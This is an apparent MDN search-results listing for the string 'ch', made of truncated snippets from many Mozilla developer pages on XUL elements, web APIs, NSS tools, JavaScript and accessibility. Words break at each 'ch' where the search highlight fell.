xobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarpalette, toolbarset, toolbarspacer, toolbarspring, toolbox ...
toolbarspacer - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarset, toolbarspring, toolbox interfaces nsiaccessibleprovider ...
toolbarspring - Archive of obsolete content
xobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarset, toolbarspacer, toolbox interfaces nsiaccessibleprovider ...
treecols - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements tree, treecol, tree
children, treeitem, treerow, treecell and treeseparator.
Opening a Link in the Default Browser - Archive of obsolete content
this will often be an http or https uri, but can use any s
cheme for whi
ch an external handler exists.
...to suppress this warning for particular protocols that are safe to open in the default application, you must set default prefs (thunderbird sets the following prefs): // suppress external-load warning for standard browser s
chemes pref("network.protocol-handler.warn-external.http", false); pref("network.protocol-handler.warn-external.https", false); pref("network.protocol-handler.warn-external.ftp", false); you can also
check whether an external handler for a s
cheme exists.
Mozprocess - Archive of obsolete content
mozprocess aims to provide the ability to robustly terminate a process (by timeout or otherwise), along with any
child processes, on windows, os x, and linux.
...processhandler utilizes a contained subclass of subprocess.popen, process, whi
ch does the brunt of the process management.
Format - Archive of obsolete content
firefox 1.5.0.5 planned release - 2006/07/26 discussions firefox survey feedback requested ra
chel werner (mozilla corp marketing intern) requested feedback on a proposed user survey.
... meetings mozilla project weekly status meeting - 2006/07/24 1:00p pdt (last meeting notes) firefox 2 (bon e
cho) status meeting - 2006/07/25 11:00a pdt (last meeting notes) firefox 3 (gran paradiso) status meeting - 2006/07/26 11:00a pdt ...
2006-10-06 - Archive of obsolete content
discussions w3c sets road map for web app accessibility the w3c introduced its wai-aria (web accessibility initiative for accessible ri
ch internet applications) roadmap--a set of guidelines for developers to make accessible web content.
...other links of interest: roadmap for accessible ri
ch internet applications (wai-aria roadmap) roles for accessible ri
ch internet applications (wai-aria roles) states and properties module for accessible ri
ch internet applications (wai-aria states and properties) making ajax work with screen readers meetings accessibility hackfest 2006 - october 10-12 in cambridge, ma (more details) participants include the mozilla foundation, ibm, sun and novell to name a few.
2006-10-13 - Archive of obsolete content
summary: mozilla.dev.apps.thunderbird - october 7-13, 2006 announcements updated: thunderbird developer documentation eric shepherd has put together a
checklist for the upcoming thunderbird developer documentation and is looking for feedback as well as contributors.
... discussions shared training.dat & message filters jon-mikel is looking for suggestions on sharing spam filter data and message filters between ma
chines easily.
RTCPeerConnection - Web APIs
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/rtcpeerconnection" target="_top"><rect x="151" y="1" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="236" y="30" font-size="12px" fo...
...nt-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">rtcpeerconnection</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructorrtcpeerconnection() the rtcpeerconnection() constructor returns a newly-created rtcpeerconnection, whi
ch represents a connection between the local device and a remote peer.propertiesalso inherits properties from: eventtargetcantrickleicecandidatesthe read-only rtcpeerconnection property cantrickleicecandidates returns a boolean whi
ch indicates whether or not the remote peer can accept trickled ice candidates.connectionstate the read-only connectionstate property of the rtcpeerconnection interface indicates the current state of the peer connection by returning one of...
...also included is a list of any ice candidates that may already have been generated by the ice agent since the offer or answer represented by the description was first instantiated.getdefaulticeservers() the getdefaulticeservers() method of the rtcpeerconnection interface returns an array of objects based on the rtciceserver dictionary, whi
ch indicates what, if any, ice servers the browser will use by default if none are provided to the rtcpeerconnection in its rtcconfiguration.
...And 72 more matches
Extending a Protocol
quick start: extending a protocol this tutorial implements a simple ping-pong style ipdl protocol, whi
ch sends a message from the content process (main thread) to the
chrome process (ui thread).
... tl:dr: you can see the final implementation of pe
cho.ipdl as a diff in phabricator.
... to make this tutorial less abstract (more fun!), we are going to implement a js method called e
cho() on the navigator interface.
...And 71 more matches
nsIDocShell
inherits from: nsisupports last
changed in gecko 12.0 (firefox 12.0 / thunderbird 12.0 / seamonkey 2.9) implemented by @mozilla.org/docshell;1.
...nstorage(in nsiprincipal principal, in nsidomstorage storage); void addstate(in nsivariant adata, in domstring atitle, in domstring aurl, in boolean areplace); void beginrestore(in nsicontentviewer viewer, in boolean top); void createaboutblankcontentviewer(in nsiprincipal aprincipal); void createloadinfo(out nsidocshellloadinfo loadinfo); void deta
cheditorfromwindow(); violates the xpcom interface guidelines void finishrestore(); void firepagehidenotification(in boolean isunload); native code only!
... boolean isbeingdestroyed(); void loadstream(in nsiinputstream astream, in nsiuri auri, in acstring acontenttype, in acstring acontent
charset, in nsidocshellloadinfo aloadinfo); native code only!
...And 71 more matches
nsIIOService
inherits from: nsisupports last
changed in gecko 1.2 this interface duplicates many of the nsiprotocolhandler methods in a protocol handler independent way (for example newuri() inspects the s
cheme in order to delegate creation of the new uri to the appropriate protocol handler).
... implemented by @mozilla.org/network/io-service;1 as a service: var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); method overview boolean allowport(in long aport, in string as
cheme); acstring extracts
cheme(in autf8string urlstring); unsigned long getprotocolflags(in string as
cheme); nsiprotocolhandler getprotocolhandler(in string as
cheme); nsi
channel new
channel(in autf8string aspec, in string aorigin
charset, in nsiuri abaseuri); obsolete since gecko 48 nsi
channel new
channel2(in autf8string aspec, in string aorigin
charset, in nsiuri abaseuri, in nsidomnode aloadingnode, in nsiprincipal aload...
...ingprincipal, in nsiprincipal atriggeringprincipal, in uint32_t asecurityflags, in uint32_t acontentpolicytype); nsi
channel new
channelfromuri(in nsiuri auri); obsolete since gecko 48 nsi
channel new
channelfromuri2(in nsiuri auri, in nsidomnode aloadingnode, in nsiprincipal aloadingprincipal, in nsiprincipal atriggeringprincipal, in unsigned long asecurityflags, in unsigned long acontentpolicytype); nsi
channel new
channelfromuriwithloadinfo(in nsiuri auri, in nsiloadinfo aloadinfo); nsi
channel new
channelfromuriwithproxyflags2(in nsiuri auri, in nsiuri aproxyuri, in uint32_t aproxyflags,in nsidomnode aloadingnode, in nsiprincipal aloadingprincipal, in nsiprincipal atriggeringprincipal, in uint32_t asecurityflags, in uint32_t acontentpolicytype); nsi...
...And 71 more matches
Rendering and the WebXR frame animation callback - Web APIs
this article covers the process of driving the frames of the xr scene to the device in the rendering loop, using the xrsession to obtain an xrframe object representing ea
ch frame, whi
ch is then used to prepare the framebuffer for delivery to the xr device.
...this begins with getting the reference space in whi
ch you want to draw, with its origin and orientation set at the viewer's starting position and viewing direction.
... then the first animation frame is s
cheduled by calling the xrsession method requestanimationframe(), providing a callback function, mydrawframe(), whose job is to render the frame.
...And 71 more matches
Making decisions in your code — conditionals - Learn web development
human beings (and other animals) make decisions all the time that affect their lives, from small ("should i eat one cookie or two?") to large ("should i stay in my home country and work on my father's farm, or should i move to america and study astrophysics?") conditional statements allow us to represent su
ch decision making in javascript, from the
choice that must be made (for example, "one cookie or two"), to the resulting outcome of those
choices (perhaps the outcome of "ate one cookie" might be "still felt hungry", and the outcome of "ate two cookies" might be "felt full, but mom scolded me for eating all the cookies".) if...else statements let's look at by far the most common type of conditio...
... a set of curly braces, inside whi
ch we have some code — this can be any code we like, and it only runs if the condition returns true.
... another set of curly braces, inside whi
ch we have some more code — this can be any code we like, and it only runs if the condition is not true — or in other words, the condition is false.
...And 70 more matches
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
objective: learn some advanced svelte te
chniques involving solving reactivity issues, keyboard accessibility problems to do with component lifecycle, and more.
...to do so, we'll utilize some te
chniques for accessing dom nodes and executing methods like focus() and select().
...we will also learn about the action directive, whi
ch will allow us to extend the functionality of html elements in a reusable and declarative way.
...And 70 more matches
Regular expressions - JavaScript
« previousnext » regular expressions are patterns used to mat
ch character combinations in strings.
...these patterns are used with the exec() and test() methods of regexp, and with the mat
ch(), mat
chall(), replace(), replaceall(), sear
ch(), and split() methods of string.
... this
chapter describes javascript regular expressions.
...And 70 more matches
NSS tools : modutil
modutil can add and delete pkcs #11 modules,
change passwords on security databases, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations.
...ea
ch option may take arguments, anywhere from none to multiple arguments.
...use this option with the -libfile, -ciphers, and -me
chanisms arguments.
...And 69 more matches
Using IndexedDB - Web APIs
because it lets you create web applications with ri
ch query abilities regardless of network availability, your applications can work both online and offline.
... about this document this tutorial walks you through using the asyn
chronous api of indexeddb.
...this article documents the types of objects used by indexeddb, as well as the methods of the asyn
chronous api (the syn
chronous api was removed from spec).
...And 69 more matches
Accessibility documentation index - Accessibility
found 105 pages: # page tags and summary 1 accessibility accessibility, landing accessibility (often abbreviated to a11y—as in "a" then 11
characters then "y") in web development means enabling as many people as possible to use web sites, even when those people's abilities are limited in some way.
... 2 aria aria, accessibility, html accessible ri
ch internet applications (aria) is a set of attributes that define ways to make web content and web applications (especially those developed with javascript) more accessible to people with disabilities.
... it supplements html so that interactions and widgets commonly used in applications can be passed to assistive te
chnologies 3 aria screen reader implementors guide aria, accessibility this is just a guide.
...And 69 more matches
Details of the object model - JavaScript
because of this different basis, it can be less apparent how javascript allows you to create hierar
chies of objects and to have inheritance of properties and their values.
... this
chapter attempts to clarify the situation.
... this
chapter assumes that you are already somewhat familiar with javascript and that you have used javascript functions to create simple objects.
...And 69 more matches
NSS tools : modutil
modutil can add and delete pkcs #11 modules,
change passwords on security databases, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations.
...ea
ch option may take arguments, anywhere from none to multiple arguments.
...use this option with the -libfile, -ciphers, and -me
chanisms arguments.
...And 68 more matches
How to build custom form controls - Learn web development
for example, if you need to perform advanced styling on some controls su
ch as the <select> element or if you want to provide custom behaviors, you may consider building your own controls.
...to do this, it's good to start with an existing control whose states and behavior are well known, so that you can simply mimic those as mu
ch as possible.
...here is the result we want to a
chieve: this screenshot shows the three main states of our control: the normal state (on the left); the active state (in the middle) and the open state (on the right).
...And 67 more matches
Python binding for NSS
design goals nss and nspr are c language api's whi
ch python-nss "wraps" and exposes to python programs.
...thus when deciding if the nss/nspr api should be rigidly followed or a more pythonic api provided the pythonic implementation wins because python programmers do not want to write c programs in python, rather they want their python code to feel like python code with the ri
chness of full python.
... constants are all upper case with words seperated by underscores, they mat
ch the nss/nspr c api.
...And 67 more matches
Starting WebLock
« previousnext » in this
chapter, we begin to design and implement the web locking functionality itself.
...this
chapter will focus on the functionality that actually handles the web locking.
... in order to be started up or notified when some event happens, the sample component has to hook into mozilla, whi
ch it can do either by overriding an existing component or by registering for some event that will cause it to start up.
...And 67 more matches
IAccessibleText
1.0 66 introduced gecko 1.9 inherits from: iunknown last
changed in gecko 1.9 (firefox 3) this enum defines values whi
ch specify a text() boundary type.
...method overview hresult addselection([in] long startoffset, [in] long endoffset ); [propget] hresult attributes([in] long offset, [out] long startoffset, [out] long endoffset, [out] bstr textattributes ); [propget] hresult caretoffset([out] long offset ); [propget] hresult
characterextents([in] long offset, [in] enum ia2coordinatetype coordtype, [out] long x, [out] long y, [out] long width, [out] long height ); [propget] hresult n
characters([out] long n
characters ); [propget] hresult newtext([out] ia2textsegment newtext ); [propget] hresult nselections([out] long nselections ); [propget] hresult offsetatpoint([in] long x, [in] long y, [in] enum ia2coordinatety...
...endoffset offset of first
character after new selection() (0 based).
...And 67 more matches
Document - Web APIs
the document interface represents any web page loaded in the browser and serves as an entry point into the web page's content, whi
ch is the dom tree.
... the dom tree includes elements su
ch as <body> and <table>, among many others.
...idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...And 67 more matches
Window - Web APIs
a global variable, window, representing the window in whi
ch the script is running, is exposed to javascript code.
... the window interface is home to a variety of functions, namespaces, objects, and constructors whi
ch are not necessarily directly associated with the concept of a user interface window.
... in a tabbed browser, ea
ch tab is represented by its own window object; the global window seen by javascript code running within a given tab always represents the tab in whi
ch the code is running.
...And 67 more matches
Handling common HTML and CSS problems - Learn web development
objective: to be able to diagnose common html and css cross browser problems, and use appropriate tools and te
chniques to fix them.
...in the worst cases, javascript is used to generate the entire web page content and style, whi
ch makes your pages inaccessible, and less performant (generating dom elements is expensive).
... in other cases, nascent features are not supported consistently across browsers, whi
ch can make some features and styles not work for some users.
...And 66 more matches
Strategies for carrying out testing - Learn web development
previous overview: cross browser testing next this article starts the module off by providing an overview of the topic of (cross) browser testing, answering questions su
ch as "what is cross-browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approa
ches for testing, identifying, and fixing problems?" prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high level principles of cross-browser testing.
... instead, you should try to make sure your site works on the most important target browsers and devices, and then code defensively to give your site the widest support rea
ch it can be expected to have.
... the aim is to build up a
chart of browsers/devices you can refer to as you test.
...And 66 more matches
NSS API Guidelines
nss api guidelines newsgroup: mozilla.dev.te
ch.crypto introduction this document describes how the nss code is organized, the libraries that get built from the nss sources, and guidelines for writing nss code.
...these rules are here to help us all immediately a
chieve more consistent and usable code, but some existing code won't follow all these rules.
...the libraries section descibes the nss libraries, the functionality ea
ch provides, and the layer in whi
ch the library (mostly) operates.
...And 66 more matches
nsIDOMWindowUtils
1.0 66 introduced gecko 1.8 inherits from: nsisupports last
changed in gecko 49.0 (firefox 49.0 / thunderbird 49.0 / seamonkey 2.46) implemented by: window.
...nvas1, in nsidomhtmlcanvaselement acanvas2, out unsigned long amaxdifference); double computeanimationdistance(in nsidomelement element, in astring property, in astring value1, in astring value2); nsicompositionstringsynthesizer createcompositionstringsynthesizer(); obsolete since gecko 38.0 void disablenontestmouseevents(in boolean adisable); boolean dispat
chdomeventviapresshell(in nsidomnode atarget, in nsidomevent aevent, in boolean atrusted); nsidomelement elementfrompoint(in float ax, in float ay, in boolean aignorerootscrollframe, in boolean aflushlayout); void entermodalstate(); nsidomelement findelementwithviewid(in nsviewid aid); void focus(in nsidomelement aelement); void forceupdatenativemenu...
...compositionevent(in astring atype); obsolete since gecko 9 void sendcompositionevent(in astring atype, in astring adata, in astring alocale); obsolete since gecko 38.0 void sendcontentcommandevent(in astring atype, [optional] in nsitransferable atransferable); void getclassname(in object aobj); boolean sendkeyevent(in astring atype, in long akeycode, in long a
charcode, in long amodifiers, [optional] in boolean apreventdefault); obsolete since gecko 15.0 boolean sendkeyevent(in astring atype, in long akeycode, in long a
charcode, in long amodifiers, [optional] in unsigned long aadditionalflags); deprecated since gecko 38.0 void sendmouseevent(in astring atype, in float ax, in float ay, in long abutton, in long aclickcount, in long amodi...
...And 66 more matches
Animated PNG graphics
apng is backwards-compatible with png; any png decoder should be able to ignore the apng-specific
chunks and display a single image.
... terminology the default image is the image described by the standard 'idat'
chunks, and is the image that is displayed by decoders that do not support apng.
... the canvas is the area on the output device on whi
ch the frames are to be displayed.
...And 65 more matches
nsIFile
inherits from: nsisupports last
changed in gecko 30.0 (firefox 30.0 / thunderbird 30.0 / seamonkey 2.27) nsifile is the correct platform-agnostic way to specify a file; you should always use this instead of a string to ensure compatibility.
...the preferred form operates on utf-16 encoded
characters strings.
... an alternate form operates on
characters strings encoded in the "native"
charset.
...And 65 more matches
Command line crash course - Learn web development
this article provides an introduction to the terminal, the essential commands you'll need to enter into it, how to
chain commands together, and how to add your own command line interface (cli) tools.
...if you're running any tooling for web development there's a near-guaranteed
chance that you'll have to pop open the command line and run some commands to use your
chosen tools (you'll often see su
ch tools referred to as cli tools — command line interface tools).
...we’ll see how to install some tools later on in this
chapter, and we’ll learn more about package registries in the next
chapter.
...And 64 more matches
nsIPromptService
embedding/components/windowwat
cher/public/nsipromptservice.idlscriptable this interface can be used to display simple dialogs.
... inherits from: nsisupports last
changed in gecko 1.7.5 you can define access keys (or keyboard shortcuts) for buttons by including an ampersand ("&") in front of the
character that should be the access key for that button.
...you need to wrap them in a temporary object, whi
ch can be either empty or have a value property set to the out parameter type.
...And 64 more matches
Browser detection using the user agent - HTTP
the web is meant to be accessible to everyone, regardless of whi
ch browser or device they're using.
... considerations before using browser detection when considering using the user agent string to detect whi
ch browser is being used, your first step is to try to avoid it if possible.
...if the problem seems uncommon, it's worth
checking if this bug has been reported to the browser vendor via their bug tracking system (mozilla; webkit; blink; opera).
...And 64 more matches
Localizing with Koala
introduction this tutorial will guide you through making a couple of
changes to firefox's user interface using koala, an add-on for komodo edit created to help localizing mozilla.
...we will translate a small piece of the ui found in the sear
ch bar.
... the sear
ch bar is next to the right of the location bar, and by default points to the google sear
ch.
...And 63 more matches
Basic concepts behind Web Audio API - Web APIs
basic audio operations are performed with audio nodes, whi
ch are linked together to form an audio routing graph.
... several sources — with different types of
channel layout — are supported even within a single context.
... audio nodes are linked via their inputs and outputs, forming a
chain that starts with one or more sources, goes through one or more nodes, then ends up at a destination.
...And 63 more matches
Shell global objects
there may be some difference between ea
ch versions.
...ect that may have these properties: isrunonce use the isrunonce compiler option (default: false) noscriptrval use the no-script-rval compiler option (default: false) filename filename for error messages and debug info linenumber starting line number for error messages and debug info columnnumber starting column number for error messages and debug info global global in whi
ch to execute the code newcontext if true, create and use a new cx (default: false) cat
chtermination if true, cat
ch termination (failure without an exception value, as for slow scripts or out-of-memory) and return 'terminated' element if present with value v, convert v to an object o and mark the source as being atta
ched to the dom element o.
...if omitted, atta
ch no source map url to the code (although the code may provide one itself, via a //#sourcemappingurl comment).
...And 59 more matches
nsIMessenger
the nsimessenger interface provides functions for managing the history, undo and redo operations, and for loading, saving, or deleting messages and atta
chments in mailnews.
... method overview void setdisplay
charset(in acstring a
charset); void setwindow(in nsidomwindow ptr, in nsimsgwindow msgwindow); void openurl(in acstring aurl); void loadurl(in nsidomwindow ptr, in acstring aurl); void laun
chexternalurl(in acstring aurl); boolean canundo(); boolean canredo(); unsigned long getundotransactiontype(); unsigned long getredotransacti...
...ontype(); void undo(in nsimsgwindow msgwindow); void redo(in nsimsgwindow msgwindow); void sendunsentmessages(in nsimsgidentity aidentity, in nsimsgwindow amsgwindow); void setdocument
charset(in acstring
characterset); void saveas(in acstring auri, in boolean aasfile, in nsimsgidentity aidentity, in astring amsgfilename); void openatta
chment(in acstring contenttpe, in acstring url, in acstring displayname, in acstring messageuri, in boolean isexternalatta
chment); void saveatta
chment(in acstring contenttpe, in acstring url, in acstring displayname, in acstring messageuri, in boolean isexternalatta
chment); void saveallatta
chments(in unsigned long count, [array, size_is(count)] in string contenttypearray, [array, size_is(co...
...And 59 more matches
HTML elements reference - HTML: Hypertext Markup Language
this page lists all the html elements, whi
ch are created using tags.
...this includes information about styles, scripts and data to help software (sear
ch engines, browsers, etc.) use and render the page.
... <head> the html <head> element contains ma
chine-readable information (metadata) about the document, like its title, scripts, and style sheets.
...And 59 more matches
Inheritance in JavaScript - Learn web development
previous overview: objects next with most of the gory details of oojs now explained, this article shows how to create "
child" object classes (constructors) that inherit features from their "parent" classes.
... prototypal inheritance so far we have seen some inheritance in action — we have seen how prototype
chains work, and how members are inherited going up a
chain.
... say we wanted to create a tea
cher class, like the one we described in our initial object-oriented definition, whi
ch inherits all the members from person, but also includes: a new property, subject — this will contain the subject the tea
cher tea
ches.
...And 58 more matches
UI pseudo-classes - Learn web development
this included some usage of pseudo-classes, for example using :
checked to target a
checkbox only when it is selected.
... :
checked, :indeterminate, and :default: respectively target
checkboxes and radio buttons that are
checked, in an indeterminate state (neither
checked or not
checked), and the default selected option when the page loads (e.g.
... an <input type="
checkbox"> with the
checked attribute set, or an <option> element with the selected attribute set).
...And 57 more matches
nsITextInputProcessor
dom/interfaces/base/nsitextinputprocessor.idlscriptable this interface is a text input events synthesizer and manages its composition and modifier state 1.0 66 introduced gecko 38 inherits from: nsisupports last
changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35) the motivation of this interface is to provide better api than nsidomwindowutils to dispat
ch key events and create, modify, and commit composition in higher level.
... nsidomwindowutils has provided the methods whi
ch dispat
ched keyboard events and composition events almost directly.
... therefore they sometimes caused impossible scenarios in automated tests (what's tested with su
ch events?) and js-ime and/or js-keyboard on firefox os or add-ons may dispat
ch events with wrong rules.
...And 57 more matches
Intersection Observer API - Web APIs
the intersection observer api provides a way to asyn
chronously observe
changes in the intersection of a target element with an ancestor element or with a top-level document's viewport.
... historically, detecting visibility of an element, or the relative visibility of two elements in relation to ea
ch other, has been a difficult task for whi
ch solutions have been unreliable and prone to causing the browser and the sites the user is accessing to become sluggish.
...intersection information is needed for many reasons, su
ch as: lazy-loading of images or other content as a page is scrolled.
...And 57 more matches
Introduction to CSS layout - Learn web development
overview: css layout next this article will recap some of the css layout features we've already tou
ched upon in previous modules — su
ch as different display values — and introduce some of the concepts we'll be covering throughout this module.
... prerequisites: the basics of html (study introduction to html), and an idea of how css works (study introduction to css.) objective: to give you an overview of css page layout te
chniques.
... ea
ch te
chnique can be learned in greater detail in subsequent tutorials.
...And 56 more matches
Third-party APIs - Learn web development
many large websites and services su
ch as google maps, twitter, facebook, paypal, etc.
... third party apis are apis provided by third parties — generally companies su
ch as facebook, twitter, or google — to allow you to access their functionality via javascript and use it on your site.
... note: you might want to just get all our code examples at once, in whi
ch case you can then just sear
ch the repo for the example files you need in ea
ch section.
...And 56 more matches
Introduction to client-side frameworks - Learn web development
overview: client-side javascript frameworks next we begin our look at frameworks with a general overview of the area, looking at a brief history of javascript and frameworks, why frameworks exist and what they give us, how to start thinking about
choosing a framework to learn, and what alternatives there are to client-side frameworks.
... objective: to understand how client-side javascript frameworks came to exist, what problems they solve, what alternatives there are, and how to go about
choosing one.
...users write papers, manage their budgets, stream music, wat
ch movies, and communicate with others over great distances instantaneously, with text, audio or video
chat.
...And 56 more matches
nsIAnnotationService
supported for use from trusted code, su
ch as extensions, but not from web content.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: "@mozilla.org/browser/annotation-service;1".
... do not use
characters that are not valid in urls su
ch as spaces, ":", commas, or most other symbols.
...And 56 more matches
An overview of NSS Internals
in order to support multiple operating systems (os), it is based on a cross platform portability layer, called the netscape portable runtime (nspr), whi
ch provides cross platform application programming interfaces (apis) for os specific apis like file system access, memory management, network communication, and multithreaded programming.
...(note that it's important to look at the number 11, as there are other pkcs standards with different numbers that define quite different topics.) a software or hardware module conforming to the pkcs#11 standard implements an interface of c calls, whi
ch allow querying the
characteristics and offered services of the module.
...this strategy allows nss to work with many hardware devices (e.g., to speed up the calculations required for cryptographic operations, or to access smartcards that securely protect a secret key) and software modules (e.g., to allow to load su
ch modules as a plugin that provides additional algorithms or stores key or trust information) that implement the pkcs#11 interface.
...And 55 more matches
Observer Notifications
if your component requires access to the user profile, or any services whi
ch require access to the profile (preferences, bookmarks, and so on) then a common pattern is to register with the nsicategorymanager for the app-startup topic whi
ch can be done in the component's registration code, and then in that notification register with the observer service for the profile-after-
change notification.
... starting in firefox 3.5 components can simply register for the profile-after-
change notification in nsicategorymanager.
...see xpcom
changes in gecko 2.0 for details.
...And 55 more matches
Index - Firefox Developer Tools
2 3d view html, tools, web development, web development:tools when you click on the 3d view button, the page goes into 3d view mode; in this mode, you can see your page presented in a 3d view in whi
ch nested blocks of html are increasingly "tall," projecting outward from the bottom of the page.
... 3 accessibility inspector accessibility, accessibility inspector, devtools, guide, tools the accessibility inspector provides a means to access important information exposed to assistive te
chnologies on the current page via the accessibility tree, allowing you to
check what's missing or otherwise needs attention.
...the dom hierar
chy can be navigated using a two-paned window that allows a variety of different views on the document and all nodes within.
...And 55 more matches
Cognitive accessibility - Accessibility
the range includes people with mental illnesses, su
ch as depression and s
chizophrenia.
... it also includes people with learning disabilities, su
ch as dyslexia and attention deficit hyperactivity disorder (adhd).
...other permanent cognitive impairments include aphasia, spee
ch and language, autism, add/adhd, dyslexia, and dyscalculia.
...And 55 more matches
<input type="url"> - HTML: Hypertext Markup Language
value a domstring representing a url, or empty events
change and input supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, required and size idl attributes list, value, selectionend, selectiondirection methods select(), setrangetext() and setselectionrange().
... value the <input> element's value attribute contains a domstring whi
ch is automatically validated as conforming to url syntax.
...in simple terms, this means urls
cheme://restofurl.
...And 55 more matches
Working with Svelte stores - Learn web development
previous overview: client-side javascript frameworks next in the last article we completed the development of our app, finished organizing it into components, and discussed some advanced te
chniques for dealing with reactivity, working with dom nodes, and exposing component functionality.
...components can subscribe to stores and receive notifications when their values
change.
... objective: learn how to use svelte stores using stores we will create an alert component that shows notifications on screen, whi
ch can receive messages from any component.
...And 54 more matches
Accessibility API cross-reference
all accessibility apis to date define a list of possible object roles, or general types, su
